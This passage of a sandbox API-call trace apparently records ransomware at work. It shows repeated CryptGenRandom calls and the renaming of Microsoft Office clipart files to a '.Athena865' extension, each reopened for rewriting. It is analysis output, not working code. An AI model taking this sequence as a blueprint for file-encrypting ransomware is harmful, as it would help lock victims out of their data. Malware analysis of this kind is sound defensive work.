lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.539] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2232) returned 1 [0123.540] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.540] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.540] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.542] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.543] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.543] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.544] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00235_.WMF" | out: lpString1="HH00235_.WMF") returned="HH00235_.WMF" [0123.544] lstrlenW (lpString="HH00235_.WMF") returned 12 [0123.544] lstrlenW (lpString="Athena865") returned 9 [0123.544] lstrcmpiW (lpString1="0235_.WMF", lpString2="Athena865") returned -1 [0123.544] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.Athena865") returned 73 [0123.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.545] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1026) returned 1 [0123.545] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.546] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.546] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.548] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.549] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.549] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.549] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00236_.WMF" | out: lpString1="HH00236_.WMF") returned="HH00236_.WMF" [0123.549] lstrlenW (lpString="HH00236_.WMF") returned 12 [0123.549] lstrlenW (lpString="Athena865") returned 9 [0123.550] lstrcmpiW (lpString1="0236_.WMF", lpString2="Athena865") returned -1 [0123.550] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.Athena865") returned 73 [0123.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.551] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3286) returned 1 [0123.551] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.551] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.551] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.553] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.554] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.554] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.554] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00241_.WMF" | out: lpString1="HH00241_.WMF") returned="HH00241_.WMF" [0123.554] lstrlenW (lpString="HH00241_.WMF") returned 12 [0123.555] lstrlenW (lpString="Athena865") returned 9 [0123.555] lstrcmpiW (lpString1="0241_.WMF", lpString2="Athena865") returned -1 [0123.555] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.Athena865") returned 73 [0123.555] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.556] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1960) returned 1 [0123.556] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.557] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.557] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.559] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.559] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.559] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.560] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00260_.WMF" | out: lpString1="HH00260_.WMF") returned="HH00260_.WMF" [0123.560] lstrlenW (lpString="HH00260_.WMF") returned 12 [0123.560] lstrlenW (lpString="Athena865") returned 9 [0123.560] lstrcmpiW (lpString1="0260_.WMF", lpString2="Athena865") returned -1 [0123.560] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.Athena865") returned 73 [0123.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.563] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3662) returned 1 [0123.563] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.564] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.564] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.566] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.567] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.567] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.567] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00276_.WMF" | out: lpString1="HH00276_.WMF") returned="HH00276_.WMF" [0123.567] lstrlenW (lpString="HH00276_.WMF") returned 12 [0123.567] lstrlenW (lpString="Athena865") returned 9 [0123.567] lstrcmpiW (lpString1="0276_.WMF", lpString2="Athena865") returned -1 [0123.567] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.Athena865") returned 73 [0123.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.568] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3016) returned 1 [0123.569] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.569] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.569] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.571] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.572] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.572] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.572] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00334_.WMF" | out: lpString1="HH00334_.WMF") returned="HH00334_.WMF" [0123.572] lstrlenW (lpString="HH00334_.WMF") returned 12 [0123.572] lstrlenW (lpString="Athena865") returned 9 [0123.572] lstrcmpiW (lpString1="0334_.WMF", lpString2="Athena865") returned -1 [0123.572] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.Athena865") returned 73 [0123.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.574] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1528) returned 1 [0123.574] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.574] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.574] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.577] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.577] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.577] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.578] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00443_.WMF" | out: lpString1="HH00443_.WMF") returned="HH00443_.WMF" [0123.578] lstrlenW (lpString="HH00443_.WMF") returned 12 [0123.578] lstrlenW (lpString="Athena865") returned 9 [0123.578] lstrcmpiW (lpString1="0443_.WMF", lpString2="Athena865") returned -1 [0123.578] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.Athena865") returned 73 [0123.578] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.580] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3298) returned 1 [0123.580] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.580] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.580] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.583] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.583] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.583] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00513_.WMF" | out: lpString1="HH00513_.WMF") returned="HH00513_.WMF" [0123.583] lstrlenW (lpString="HH00513_.WMF") returned 12 [0123.583] lstrlenW (lpString="Athena865") returned 9 [0123.583] lstrcmpiW (lpString1="0513_.WMF", lpString2="Athena865") returned -1 [0123.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.Athena865") returned 73 [0123.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.585] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=818) returned 1 [0123.585] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.585] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.585] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.587] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.588] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.588] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.589] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00524_.WMF" | out: lpString1="HH00524_.WMF") returned="HH00524_.WMF" [0123.589] lstrlenW (lpString="HH00524_.WMF") returned 12 [0123.589] lstrlenW (lpString="Athena865") returned 9 [0123.589] lstrcmpiW (lpString1="0524_.WMF", lpString2="Athena865") returned -1 [0123.589] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.Athena865") returned 73 [0123.589] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.590] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14688) returned 1 [0123.590] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.591] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.591] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.595] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.596] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.596] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.597] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00526_.WMF" | out: lpString1="HH00526_.WMF") returned="HH00526_.WMF" [0123.597] lstrlenW (lpString="HH00526_.WMF") returned 12 [0123.597] lstrlenW (lpString="Athena865") returned 9 [0123.597] lstrcmpiW (lpString1="0526_.WMF", lpString2="Athena865") returned -1 [0123.597] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.Athena865") returned 73 [0123.597] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.598] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13538) returned 1 [0123.598] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.599] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.599] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.601] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.602] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.602] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.603] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00527_.WMF" | out: lpString1="HH00527_.WMF") returned="HH00527_.WMF" [0123.603] lstrlenW (lpString="HH00527_.WMF") returned 12 [0123.603] lstrlenW (lpString="Athena865") returned 9 [0123.603] lstrcmpiW (lpString1="0527_.WMF", lpString2="Athena865") returned -1 [0123.603] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.Athena865") returned 73 [0123.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.605] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5798) returned 1 [0123.605] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.605] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.605] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.607] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.608] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.608] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.609] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00546_.WMF" | out: lpString1="HH00546_.WMF") returned="HH00546_.WMF" [0123.609] lstrlenW (lpString="HH00546_.WMF") returned 12 [0123.609] lstrlenW (lpString="Athena865") returned 9 [0123.609] lstrcmpiW (lpString1="0546_.WMF", lpString2="Athena865") returned -1 [0123.609] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.Athena865") returned 73 [0123.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.610] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3718) returned 1 [0123.610] CryptAcquireContextW (in: phProv=0x241d1c4, 